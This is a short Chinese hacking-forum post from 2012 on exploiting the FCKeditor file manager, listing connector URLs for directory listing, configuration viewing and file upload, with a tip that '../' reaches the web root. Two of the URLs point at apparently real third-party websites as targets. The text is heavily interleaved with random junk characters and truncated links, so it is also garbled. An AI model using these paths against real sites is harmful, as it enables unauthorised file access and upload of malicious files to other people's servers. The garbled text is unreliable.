中国网络渗透测试联盟

标题: fckeditor漏洞 [打印本页]
作者: admin    时间: 2012-9-13 17:02
标题: fckeditor漏洞

8 c: w; W9 W( ^0 F* dfckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
9 K, D; C7 r* xhttp://www.china-photo-model.com ... aspx/connector.aspx
* A8 `6 |& L- }/ [/ R! H$ F
0 b% y5 g/ r. ^6 @/ i' p* ^: d+ e8 a: j
http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector9 A. O, _% }8 V) A& c( ]* R" O- X
& A  ^% m: Q! C

' F/ q- L5 C% u9 d  \, [: t1 m  v# y! K3 p

6 F& C% q% w+ y3 P
5 ?1 P5 D! b; K查看配置和列出目录下的文件.
/ h, |+ x+ f! H9 d+ I* a# C) s8 {9 ?* s( k  t2 x) G1 x

/ q# o7 f+ S1 p! B* Qhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
$ J1 J1 J. J: Y1 lhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
% }! v8 `# P+ n% ]: p( @$ W4 Q' U! w; {, e' e2 w9 ?
上传地址:! @1 c+ S7 v5 ]# l) v1 U: p

5 ?1 {4 f6 A; u" v- g- l# Chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F9 w0 M; J# W0 l* O  [6 J/ c
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2